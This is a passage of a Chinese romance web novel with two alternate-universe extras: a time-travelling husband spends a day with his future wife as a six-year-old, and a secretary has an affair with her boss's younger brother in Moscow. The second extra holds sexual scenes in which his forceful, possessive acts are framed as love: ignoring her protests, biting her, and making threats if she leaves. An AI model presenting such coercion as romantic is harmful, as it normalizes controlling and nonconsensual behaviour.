听到他的声音,燕棠也醒了,迷迷糊糊地说:“我也是……”“也许那不是梦。”他又说。燕棠没睁眼,轻声笑了笑,“你和我想的一样。”睡在他们头上的小猫kaka伸了个懒腰,大概是嫌他们俩吵了,自己跳下床到小窝里睡下。燕棠钻进宋郁的怀里,听着他安稳的心跳,轻声说:“继续睡吧。” 男人伸出手臂揽着她的腰,低头亲了口她的额头,“晚安。” (小甜熊篇完) 85、短IF线 燕棠和爸爸妈妈走丢了。 时值国庆节,北京的人流量大得惊人,天安门从前一天晚上十二点就开始聚集满了人,等着看第二天旭日初升时的升旗仪式,一直到早上十点都十分拥挤。六岁的小燕棠就是在这个时候跟父母走散的。 她第一次跟父母到北京旅游,被爸爸牵在手里观瞻这处伟大的景点。她对天安门兴趣不大,一双黑葡萄似的大眼睛倒是一直望着站岗的武警哨兵哥哥们,其中有位武警特别高,眉目端正,站在那里很有气势。燕棠看得出神,再一转头,惊觉前后左右都是陌生人,父母不知去了哪里。 由于人实在是太多了,前面挤着后面,燕棠不得已随着人群往不知道的方向走去。小姑娘个子很矮,看不到更远处同样在找人的父母,于是和他们越走越远,越走越偏。 当燕棠随着人群走到陌生的地铁口,连天安门都在她视野里消失之后,她终于忍不住大哭起来。 恐惧笼罩在心头,燕棠真希望有人能帮她找到爸爸妈妈。 好在这里安保严密,有两名警察很快就注意到了她,将她带到一旁树荫下询问情况。燕棠记得父母的名字,可不巧的是,她爸爸妈妈刚刚换了手机号,她还没能够背下来。 警察正准备带她回警局,忽然有人在不远处叫出了她的名字。 燕棠抬起泪汪汪的眼睛看过去,注意到那是个高大英俊的男人,浅棕色的头发,眉眼俊秀,似乎不是中国人,比电视上的男明星还帅。 警察注意到那男人眼里也充满惊讶,猜测也许是熟人偶遇,便低头问:“小朋友,你认识那个叔叔吗?” 燕棠没吱声,眼里露出迷茫。 她不记得自己见过这个男人,可他太帅了,看上去不像是坏人。 就在这时,那男人主动开口了。 “我是她爸爸燕金生的朋友,有她父母的手机号,可以现在联系他们过来。” 他拨了个电话,点开免提,燕棠果然听见了爸爸的声音。父母也急得团团转,在电话里说了好几次“谢谢宋先生”,说要马上赶过来。 燕棠仰着头,目不转睛地看着面前的男人。 阳光落下,把他柔软浓密的发丝照得散发出金色的光芒,他的睫毛也很长,像小扇子一样。而燕棠在班上同学中算是长得白的孩子了,可这男人的皮肤比她 都要白。孩子有欣赏美的本能。燕棠觉得,这个叔叔是自己见过最好看的人了。 注意到了她的目光,打完电话的宋郁半蹲下身子,和她平视。他注视着小姑娘稚嫩秀气的脸庞,眼里浮出温柔的笑意。 “为什么这么看着我?”宋郁问。 燕棠脸颊微红,说:“叔叔,你长得好高呀。”她顿了顿,又踮起脚尖伸手比划,补充道:"就跟动物园里的大棕熊一样高!" * 当宋郁站在北京二环街头,注意到年份显示为2002年时,他很快就接受了现状,并且迅速注意到了不远处那个手足无措的小女孩。 他记得燕棠父母的手机号,不过当下他还有另一层身份,就是燕棠父母中学的捐赠人,曾经在南市跟燕棠父母有过许多次交流,算是熟人。 “没想到在这里遇见您,孩子的事真是太感谢您了。”燕金生的声音充满感激。 这时的岳父岳母还很年轻,从外貌看上去和他差了不了几岁。而他的妻子这时却还是个扎着双马尾的小朋友,此刻攥着妈妈的衣角,躲在父母身后悄悄观察他。 宋郁询问了一下接下来的行程,听说他们要去好几个景点,主动提议加入他们,还可以安排接下来的午餐和晚餐。他很坚持,燕金生又有意和他结交朋友,于是行程就这么定了下来。 燕棠听了全程,在得知面前这个宋叔叔会跟着他们一起游玩时,心里暗自高兴。 “你想牵着我的手吗?”宋郁注意到她期待的神情,笑着问。 她点了点头。 北京很大,景点和景点之间的距离长得惊人,哪怕宋郁迅速地安排了轿车接送他们,燕棠在抵达圆明园后还是很快就走累了。 父母的教育准则是要咬牙坚持,不要轻易喊累,所以她不敢声张,只能抿着唇坚持走。但牵着她的宋郁却很快感知到了这一点。 他又问:“你想坐在我的手臂上看风景吗?你可以看得更远。” 燕棠心动了,可还是小心翼翼地说:“你会很累的。” “不会,你对我来说就像只小鸟一样轻。” 宋郁将小姑娘抱了起来,让她坐在自己的臂弯里。他看见她眼睛突然亮了,两条乌黑的辫子荡着,声音脆生生的,“好高!比坐在爸爸肩膀上还高!” 一旁的燕金生摇头,“棠棠,你不要乱说话,爸爸还没有那么矮。” 燕棠觉得一切都充满了新奇,但风景很快看倦了,注意力大部分时间都在宋郁身上。 “你的睫毛好长呀,是真的吗?”“你的鼻子也好高呀,这也是真的吗?” 她对他有许多的问题,宋郁目光柔柔地看着她,“因为我妈妈是俄罗斯人,而我长得很像她,你可以摸摸看是不是真的。” 小朋友的好奇心难以抑制,真的伸出手,轻轻地、小心翼翼地碰了碰他的睫毛,又伸出手指点了点他的鼻尖。 “是真的。”燕棠有些不好意思地笑了,明亮的眼睛弯成一弧新月。 * 燕棠觉得这个新认识的叔叔真是个大好人。在逛完景点后,他还带着她和爸爸妈妈去了很贵很贵的餐厅。 餐厅在四合院的包厢里,中式屏风,外头竹影横斜,柳树成荫,垒砌的山石之间是黑瓦红柱的亭台。 “她不小了,已经可以自己吃饭……”父母略有些不赞同地看着坐在宋郁身边的女儿。 燕棠正等着身边的男人把汤喂过来,被爸爸妈妈这么一看,立刻不敢张嘴。 她从小就被父母要求学会独立,今天被哄得很开心,一时间忘了父母的要求,也开始学会饭来张口。 “没关系,汤很烫。”宋郁笑着说,“她容易被吓到,等会儿该不愿意吃饭了。” 燕棠吃得高兴,他喂得也高兴。 第一次照顾这么小的孩子,还是自己老婆的小时候,宋郁跟看宝贝似地看燕棠,抱在怀里舍不得撒手,放在身边舍不得挪开视线。 小姑娘坐在他怀里,裙摆飘荡,白生生的双腿晃动,眉眼间带着孩子特有的天真稚气。 餐厅紧挨着大商场,吃过饭后,宋郁又坚持带着他们去买点纪念品,顺带给孩子买些见面礼。 说是买见面礼,还不如说是在商场里扫荡式购物。 燕棠被打扮得像个小公主似的,被宋郁抱在怀里时,还被销售小姐误认为是宋郁的女儿。她走神了一秒,有些心虚地想,要是面前这个帅气的叔叔是她爸爸就好了。 差辈儿了。 ——燕棠很爱燕金生,她觉得他是个很好很好的爸爸。 但如果她还能有个像宋郁这样的爸爸,可以不用每天跟她说一些“要努力”“要坚强”之类的话,而是千方百计地让她开心就好,这该是一件多么幸福的事情。 “叔叔……” 燕棠凑到宋郁耳边小声叫他,音量放的很低,因此显得语调又软又轻。 燕棠此刻仍然坐在宋郁的臂弯里,双手环抱着他的脖颈。男人强壮有力的身体令她感到十分有安全感,仿佛在任何情况下都能被他保护得很好。他注视人的双眸也充满了柔情,让她感觉所有的需求都能得到温柔的回应。事实也的确如此。 宋郁注视着年幼的燕棠,放柔了声音问:“嗯?你还想要什么,小宝贝?我可以把月亮摘下来给你。” 在从恋爱到结婚的整个过程里,宋郁才是喜欢撒娇的那个人。燕棠比他年长三岁,他很少能看见她露出稚气的样子。她从来都是克制的、沉稳的、冷静的,只有被他撩拨或欺负得受不了的时候,才会露出鲜活的模样。当然,当他们恋爱趋向稳定,走向婚姻之后,燕棠笑得越来越多了,但这样稚气纯真的孩子模样对他来说仍然很新鲜。 在某一刻,宋郁甚至想,如果他和燕棠有一个女儿,也许会跟面前的小姑娘长得一模一样。可能头发和瞳孔的颜色会随他,更浅一点儿,但一定会像燕棠这样讨人喜欢。 但“和燕棠拥有一个女儿”,跟“年幼的燕棠问他能不能给自己当第二个爸爸”,对宋郁而言是完全不一样的概念。 当宋郁听到燕棠提出后者这一请求的时候,他立刻陷入了沉默,随后说:“恐怕不行。” 听她这会儿叫叔叔已经十分勉强,当爸不行,当干爹也不行。 燕棠从小就是个敏感的孩子,见他拒绝,也乖巧地不继续追问下去。 她安静地又在宋郁怀里待了几分钟,忽然别过脸冲向亲爸燕金生,眼眶一红嘴巴一瘪,哽咽着对亲爸说:“爸爸抱。” 小孩子的情绪说变就变,所有人都还没反应过来,小姑娘的眼泪像珠子似地往下掉。她哭的时候也很安静,只是默默抽泣着,听得人很心疼。 宋郁没放手,找了间甜品店坐下,点了她会喜欢吃的甜品,将她抱在怀里哄。他又心疼又心急,心里忍不住叹气——这该怎么解释? 燕棠也不是真的不想理他,只是以为他没那么喜欢自己,才下意识想躲开。这会儿被宋郁好声好气哄几下,她就将脸埋在他怀里,默默流眼泪。 “我很喜欢你。”宋郁轻轻拍着她的后背,“但我现在不能一直留在你身边。” “为什么?” 燕棠仰起头,声音里犹带着泪意。 她的视线因哭泣而变得朦胧,面前男人俊秀的面容也变成一道模糊的轮廓。 但他温柔清朗的声音落在了她耳畔,“因为还没有到最合适的时间。” ——因为还没有到合适的时间,所以今天的相遇不过是神灵的小把戏,让他恰好捡到了走丢的燕棠,陪伴她度过这以慌乱开场,以快乐结尾的一天罢了。“我们以后会再次见面的。”宋郁替她把眼泪擦干。 燕棠有些困惑地抬眼,湿漉漉的睫毛掀起,漆黑水润的瞳孔里映着他的模样。“那是什么时候呢?是不是如果我学习俄语,更有可能在未来碰见你?” 宋郁微微一怔,忽觉似乎冥冥中的确有只手在拨动着他和燕棠的命运之线,无论何种情况,他们的人生总会交汇在一起。 “是的。”他这么说。 * 夜色笼罩住北京城,四通八达的马路变成一道道黑色的绸带,车流和路灯如金银般点缀其间。 燕棠被爸爸妈妈牵在手里,依依不舍地和男人告别。 “再见。” 她伤感地说着,但已经从宋郁口中学到了“命运”这个词。 她不过是一个六岁的小姑娘,还不能明白命运为什么不能让她和这个同样很喜欢她的男人一直相处下去。 也许是因为一个女孩子总是需要一些独立成长的时间,也许是因为她和他本该有另一种更紧密、更长久的关系。 等燕棠自己吃过苦、靠自己解决过困难,也靠自己取得了成就,她才能更好地审视男人所给予的爱和关怀。也只有等她长大了,她才能摆脱仰慕的姿态,在欣赏她的男人所具有的成熟魅力时,也能爱上他的幼稚和任性。 但燕棠现在只有六岁。她还需要很多很多时间去长大。 不过他们总会遇见的,这是命运的安排。 * “怎么又做梦了。” 夫妻俩再一次在夜里醒来,这回宋郁主动把kaka赶下床。 燕棠笑着看他压到自己身上,顺势伸手搂住他的脖颈,轻声说,“现在是凌晨,你明天还要开会……” “对,我明天还要开会。”宋郁埋在她颈窝里嗅着,挺翘鼻尖轻蹭着她的脸颊。“但我总觉得好像有一整天没见你了,可不可以申请履行夫妻义务?” "可是没有套了。"燕棠遗憾地说。 “那——”宋郁回想起那个梦,心里有些痒痒的。可他转念一想,还是希望跟燕棠有更多的时间相处,立刻打消了那个念头。 他恋恋不舍地替她穿好睡衣,“明天我去订一箱避孕套回来……” 86、短IF线 莫斯科入秋后气温骤降,阳光稀薄,落在高楼大厦的格子窗上,折射出冷锐的光。 时值中午,燕棠坐在工位上望了眼窗外的日头,又看向一道透明玻璃门后的办公室。 集团实行全开放的办公环境,就连老板办公室也由透明玻璃墙围成,尽管玻璃墙可以调节成不透明的私密模式,但多数时候员工们都能看清里面的情况。 里面坐着一位年轻的黑发男人,俊秀的面容上神情冷淡,正在进行一场电话会议。办公室隔音效果极好,燕棠听不见他在说什么,但猜测他此刻的心情大概不太美妙。 大约过了十多分钟,电话会议结束。燕棠起身走过去轻轻敲门,见他抬头瞥过来,微微点头,才敢推门进去。 "Ilya,昨天到今天中午的邮件已经整理完毕,业务线的都分发给相关部门,剩下五封邮件需要您亲自过目,其中阿列克谢先生在今早九点发来的邮件比较着急,他希望您在今天之内能给一个回复。” 她维持着专业平缓的语速,用俄语一口气报告完。 “好,谢谢。”这句话等同于她可以离开的指令,燕棠迅速离开这片令人紧张的高压地,找编辑部的好朋友玛莎一起吃午饭放松神经。 给宋璟当秘书,燕棠感觉压力很大。 "Ilya好像从来没有骂过Yana。" 咖啡间内,几个部门的员工围在一起聊八卦,聊起了老板的时候见燕棠和玛莎一起过来了,有些好奇地说起这件事。 玛莎说:“是呀,Ilya很欣赏Yana。” 燕棠无奈笑了笑,没法跟别人诉说自己如履薄冰的生活。作为宋璟的秘书,她是最靠近宋璟的人之一,对他的行事风格也十分了解。 尽管大多数时候,她的老板都态度平和,但燕棠见过他骂人的样子。 那天恰好是她第一天入职,HR主管将她领至宋璟办公室里。HR还没来得及开口,宋璟接到一个下属拨来的办公室的电话,随后眉头一皱,开始用俄语训斥。声音又沉又冷,话很少,威慑力十足,旁听的人都觉得胆战心惊。 那一天的记忆至今为止仍然十分深刻,以至于燕棠一直努力做好本职工作,不求被夸,只求不被骂,这也让她每天都战战兢兢。 好在这样的日子不会太久——她已经得到了莫斯科一所大学的研究生入学offer,半年后就会申请离职,继续念书。 休息时间结束,燕棠拿着咖啡杯回到工位,刚一坐下就看见宋璟办公室的沙发上坐着个男孩儿。 连帽卫衣运动裤,姿态闲散地靠在沙发上看手机,仿佛把宋璟的办公室当自己家似的。 安排来访人员也是燕棠的职责之一,她确定今天下午没有人预约和宋璟见面。她将咖啡杯放下,连忙推门进办公室,“这位先生……” 那男孩儿抬起头来,浅棕色头发,剔透的金棕色瞳孔,漂亮的脸蛋上浮出一个灿然的笑:“你好。” 话还没说完,燕棠的声音就生生止住。这男孩儿有和她老板几乎一模一样的五官,只不过眉眼稍显稚嫩,还带着几分少年气。 她自然知道集团里还有位名不见经传的二公子Kirill,今年才刚满十八岁,只有老员工才见过。 两兄弟实在长得太像,燕棠忍不住想:原来llya笑起来是这样的啊。 “原来你就是Yana。”宋郁也注视着面前的女人,姿态随意地支着下颌,眼里含笑,“我听哥哥在家里跟你打过电话,你的声音跟你的样子一样……”他跟燕棠随意地聊了起来—— 在这里工作多久了?给我哥当秘书很辛苦吧?他板着脸的样子是不是很讨厌? 燕棠没想到宋郁竟会是这样随和的性格,不过是跟他聊了两句,她脸上就不自觉带上笑容。 "Kirill,你来这里干什么?"门口忽然响起宋璟的声音。 燕棠心里咯噔一下,才意识到自己不知道什么时候坐在了沙发上。回头看过去,她见宋璟皱起眉,立刻低声跟宋璟说自己先出去。 “你那么凶干嘛啊,把人家都吓走了。”宋郁说。 燕棠心里紧张,以为宋璟要生气,可她没想到自家老板只是叹了口气,随后对宋郁说:“是你不要干扰人家工作才对。” 当她重新在工位上坐下,下意识往办公室方向又看了一眼。 里头的男孩子正跟亲哥在聊着什么,似乎是注意到了她的视线,目光一转,和她四目相对。随后又朝她露出个笑来。 * 只有在第一眼看见宋郁的时候,燕棠会生出一种看见少年版宋璟的感觉。 她很快就发现两兄弟一点儿都不一样。 宋璟偶尔也会笑,但他笑起来时是高位者那种温和、夸奖式的笑容。但宋郁笑起来的笑是活泼的,甜滋滋的,让人没有压力,连烦恼都抛在了脑后。 在后来的日子里,燕棠偶尔会想,下一次碰到宋郁会是什么时候。 不过她没等到宋郁再次来访,反而遇上第一次在工作里犯错——她误看了一封邮件标注的最晚回复日期,以至于宋璟迟作答复。对方脾气不好,直接把电话打到了宋璟的办公室里催促,并且指责宋璟缺乏守时观念。 “来我办公室。”燕棠接到宋璟电话的时候,腿都吓软了。 正不巧他这时又有个会议,她只得等在一旁。大概是又有人在电话里提了愚蠢的方案,宋璟再三质问,冷淡的话语好像砸在燕棠心头。 等他的电话会议结束,燕棠的恐惧也抵达了顶点。 宋璟仿佛是才想起自己的秘书还等在一旁,听她再三道歉,揉了揉眉心后只说了一句:“下次看仔细。” 燕棠低着头离开办公室,开门时一不留神撞到了人。抬头一看,对上一双笑意轻盈的眼睛。 “我哥又欺负你了?怎么看上去可怜兮兮的。” * 兄债弟偿。这是宋郁的说辞。 这天下班的时候,燕棠在写字楼下再次碰见了宋郁。他靠在跑车边好像在等人,见她走出来,立刻朝她招手,说要替他哥补偿她。燕棠再三解释,今天下午是她犯了错,宋璟已经非常宽容。可宋郁却说:“这么小的事情,如果是我就会安慰你别害怕。”她不由失笑。工作里哪有这种好事,犯错了导致老板被合作方质疑,哪还能要求老板反过来安慰犯错的员工? 但宋郁略带孩子气的作风让她很快放松下来,那面代表身份差距的无形之墙好像不存在了。两人轻松地聊了几句,宋郁说自己今晚没有事,问她愿不愿意和他一起去尝一家位于特维尔大街的新餐厅。燕棠鬼使神差地答应了。 特维尔大街是高档商业区,开在这里的餐厅走的也是高端路线。 宋郁是这里的常客,一般要提前半个月定位置的餐厅,他抵达时直接有经理接待。 燕棠虽然是个出身普通的打工人,但给宋璟当秘书后见过不少大场合,在餐厅坐下后也不显局促。她接过菜单点完菜,抬眼便见坐在对面的宋郁正笑着看她。 "我觉得你很可爱。"他这么说。 燕棠被他的笑容晃了眼,一瞬间甚至没意识到这句话更像是风流公子的甜言蜜语。 "其实那天在我哥的办公室,不是我第一次见你。"宋郁还在继续说。 “那是去年的事情,恰好在我十七岁的生日派对上,我很好奇他在我生日的时候还有什么天大的会议要开,然后就在他的电脑屏幕上看见了你。”燕棠算了一下时间,惊道:“你现在还没满十八岁?” “刚刚满十八岁。”他眉眼弯弯,开玩笑般说:“过完生日就来找你了。”宋郁身上有一股矛盾的气质,举手投足间有着富家子弟特有的贵气,但说话做事又很是随和得体,不会让人感到一种居高临下的审视。所以在这之后的两个月里,当宋郁多次邀请燕棠去尝试新餐厅或者在莫斯科近郊游玩的时候,她都欣然答应。甚至因为宋郁的缘故,她偶尔都会觉得他哥宋璟那副冷冰冰的模样变得顺眼不少。 ——事情是在一次露营中发生变化的。 那天原本还有宋郁的几个朋友准备一同前去,但等燕棠和宋郁到了场地之后,才收到其他人的消息,说临时来不了了。 意外还不止这一件,宋郁很快又告诉燕棠,他的帐篷坏了。 燕棠是职业秘书,迅速提供了多种方案,但没想到他这会儿却开始犯少爷脾气——睡不惯营地提供的帐篷,不想一个人去住酒店……等他把所有方案都否决之后,燕棠终于察觉了不对劲。 正是下午的时候,秋阳温暖,河边波光粼粼《,简易桌上新泡好了咖啡。 两人各自坐在月亮椅上商量晚上的去处,宋郁侧过脸看向她,那双漂亮的眼睛里带着显而易见的暗示。"我今晚可以跟你住在一起吗?" 燕棠愣了,“你……” 刚吐出一个字,宋郁直接把话接上了:“这么久了,你应该知道我的想法吧?” 燕棠——还真的没有揣测过。 与其说是没有,不如说是不敢。两个人差距太大,她自然一点儿多余的念头都生不出来,只把他当做朋友对待。 宋郁自以为这段时间的暗示已经足够明显,没想到燕棠却一脸惊愕的样子,心里平白生出几分气来。他倾身凑近了,长睫垂下,“我才不信,你看我的时候都移不开眼了,秘书姐姐。” 这张漂亮的脸蛋离得极近,燕棠心跳都停了半拍。 可那称呼又像一记警钟,提醒她一个事实:宋郁毕竟是集团的二公子,他的哥哥是她的老板,要真的和宋郁发生了什么,被宋璟发现就完了。 “为什么不跟我试试呢?其实我去年在我哥的会议上看见你的时候,就喜欢你,想见到你了。”宋郁又问她。 “难道你真的像传言那样,喜欢我哥?” "……传言?谁说的?这是谣言!" “那你在犹豫什么呢?”宋郁又问:“难道你是怕我哥知道,介意你作为员工跟我扯上关系?” 燕棠别过脸去,没吱声。 下一秒,她的后颈被他伸手扣住,生生被逼着转过脸来和他对视,躲不开逃不掉。 “如果是这样,保密就好了啊。我会很乖的,你不想让我哥知道,我就不说。”宋郁垂着眼,语气轻快,但动作却是不容拒绝的强势。 燕棠被他深深的目光迷惑了,当亲吻落下时都没反应过来。 唇瓣是柔软湿润的。经过了略带生涩的试探之后,宋郁迅速掌握了技巧,侵入她的口腔,与她呼吸交缠。指尖也摩挲着她后颈的皮肤,带着调情的意味。 冲动、美色、一时激情。多种因素混杂在一起,让燕棠昏了头。 虽然两个人都是第一次,还不懂什么技巧,但男孩儿的力量和冲劲儿有效地弥补了经验上的不足。燕棠差点儿要被一个刚满十八岁的男孩儿干死在床上。 * 莫斯科进入深秋后,天色便渐渐转阴。阳光完全隐没,偶尔有绵绵细雨。 周一早上九点,写字楼的电梯里挤满了员工。电梯内壁折射出所有人的面孔,俄罗斯人本就不爱笑,周一早上更是笑不出来。 只有站在前排的燕棠一脸轻松,走出电梯时的脚步都是轻快的。 "Yana,你看起来心情很好。"抵达工位时,隔壁的同事跟她打招呼。 恰巧宋璟也在这时到了办公室,顺带看了一眼燕棠,把燕棠吓了一跳。 她强装冷静地跟他说了声早上好,目送他进入办公室,心里忍不住想——她真的睡了老板的弟弟。 虽然宋郁不是集团内的员工,严格来说不属于内控规则里禁止发生恋爱关系的对象,但大公子的秘书和二公子有关系,传出去总是会令人遐想。 燕棠坐在工位上,忽然冷静下来,心里叹了口气。真是美色误人。 不过反正半年后她就要离职念书,只要低调一点,她相信宋璟肯定不会发现。 在这半年里,燕棠和宋郁都保持着亲密的关系。她偶尔会住在他的高级公寓里,和他拥抱、接吻、上床。 年轻男孩儿身上具有的活力如此迷人,他喜欢和她尝试大胆的姿势,毫不遮掩地向她表达爱慕,将她卷入直白的、热烈的、大胆的激情中。 这段地下恋情美得像莫斯科夏日的阳光,让人眷恋。也如莫斯科的夏日阳光一样足够短暂。 * 燕棠低估了宋璟的敏锐度。 在来年五月,就在她进入离职倒计时的时候,宋郁在某一个周五下午来公司找宋璟谈事。燕棠照常装作和他不熟,给他端来杯咖啡。结果这小子当着宋璟的面朝她笑,笑得很甜,也暴露了一切。 宋郁走后,燕棠被宋璟叫到办公室里。 他头一次关上了电脑,坐在办公椅上看着她。 俊秀的面容是一如既往地沉着,那双几乎和宋郁一模一样的漂亮眼睛注视着她,却不像宋郁那样常带笑意,反而充满冷静的审视。 宋璟过了很久都没说话,最后只是叹了口气,“算了,你先出去吧。” 这声音砸在燕棠心头,沉甸甸的。 一个小时后,她把原计划在下周拿出的辞职信递给了宋璟,不久后得到了批准,同时得到了一大笔离职补偿。 辞职员工是没有任何补偿的,这笔钱来自于宋璟特批。名义上是作为她勤恳工作的奖金,但燕棠猜测宋璟是希望她重新考虑和宋郁的关系。 她懂得知难而退的道理,工作经历也教会她一个道理——普通人玩儿不过有钱人。甚至连宋璟给她打的这笔钱,由于名义太过正当,她就算想退也退不回去。 尽管结局早有预料,但燕棠还是有些失落。好在研究生的生活就在眼前,毕业后可以有更多更好的就业机会,不再局限于当一个小小的秘书。 这晚离开公司时,她打起精神,顺带给宋郁发去结束关系的消息。 * 租住的公寓楼位于列宁大街附近,楼下的树叶都已枯黄,上了年代的老楼在深秋夜里显得尤其萧索。燕棠坐着破旧地电梯抵达五楼,一出门,便见黑漆漆的楼道内站着一个高挑的身影。她吓得退后一步,那男孩儿便往前走一步。月光漏入走廊,照亮他秀气的面容,半垂着眼,眉眼间笼着一股郁气。 “Kirill,你来这里干什么?”宋郁却反问她:“你觉得呢?” 此时,电梯吱呀一声打开门,一对小情侣走出来,嘻嘻哈哈地搂在一起,有些好奇地看着他们。 燕棠只得打开家门,让宋郁进屋说话。却没想家门刚关上,她就被身后的男孩儿抱起来,直接带到卧室里。 “Kirill,等等……” "等什么?你提分手是因为我最近训练太忙了吗?"宋郁把她压在床上,逼她和自己对视。 “还是因为我哥?他说不合适,你就信了?他逼你辞职的话,我可以帮你,你为什么不跟我说呢?” 他不是真的想听解释,问完了直接低头和燕棠接吻——与其说是接吻,更像是咬她。 燕棠被咬得疼了,眼里冒出泪花来。 “疼吗?我心里也疼,跟你在一起半年了,你还不相信我。就算被我哥知道了又怎么样?你又不是跟他在一起!” 他将她翻过身去,恰好面对着挂在墙上的全身镜。 上衣一脱,手臂肌肉隆起,一只手将她的腰牢牢扣住,一只手拢住她的长发,要她抬头看向镜子。 窗外吹起了大风,把树影吹得摇摇晃晃,窗户哐哐作响,仿佛摇摇欲坠。 燕棠扬着脖颈,脸颊涨红,声音破碎。 “你看看你多喜欢我,还要分手吗?”身后的男孩儿问。 见燕棠说不出话来,宋郁俯下身抱紧她。他细细亲吻她的侧脸,随后又扣住她的下颌,要她转过脸来和他接吻。 在燕棠发出即将窒息的呜咽时,他才将她放开,轻声说:“你不说话,我就当你想继续在一起了。” * 折腾了一晚上,直到第二天,燕棠才跟他坦白昨晚的误会。辞职是早晚的事,就算不被宋璟发现,她下周也会离职准备入学了。“我和你之间……”燕棠说起这个,又叹了口气。 宋郁直接打断了她,解释:“我问过我哥了,他没想辞退你,那笔钱的确是给你辛苦工作的补偿。他虽然觉得不合适,但只是希望我们在公司注意分寸——他才不会多管闲事,插手我的恋爱。" “恋爱?”燕棠重复了一遍这个词。 “难道不是吗?”宋郁问她,“不然你觉得我们是什么关系?” 燕棠以为是不能公开的情人关系,至少在她所了解的富家公子哥儿里,这种关系是很常见的。她老实地说出了这个想法,随后又被炒了一顿。 宋郁气笑了。 “你知道情人关系是什么样吗?是有人要伏低做小,是金钱关系。我天天都告诉你,我喜欢你,你怎么都不放在心里?” 燕棠是普通人,她习惯把事情往坏处想。 但事情并不总是那么坏。 宋郁在床上撒完了气,又抱着她撒娇。 “再跟我试试,只要我们在一起足够久,就不会有人反对我们的。” “真的吗?” 燕棠看着身边的漂亮男孩儿,心里盘旋着挥之不去的忧虑。 “会的。”宋郁注意到她的视线,侧过脸笑着看她。 “就算你以后要甩掉我,我也会像这次一样找到你。”“但到时候就不止是做两次这么简单了。”"别跟我说分手,好吗?" 他亲昵地抱着她,将脸埋在她的颈窝里,嗅着她身上的香气。 燕棠这时的确没想到,宋郁是出奇的黏人。缠得她这辈子都没能把人甩掉。 (哥哥的秘书篇完)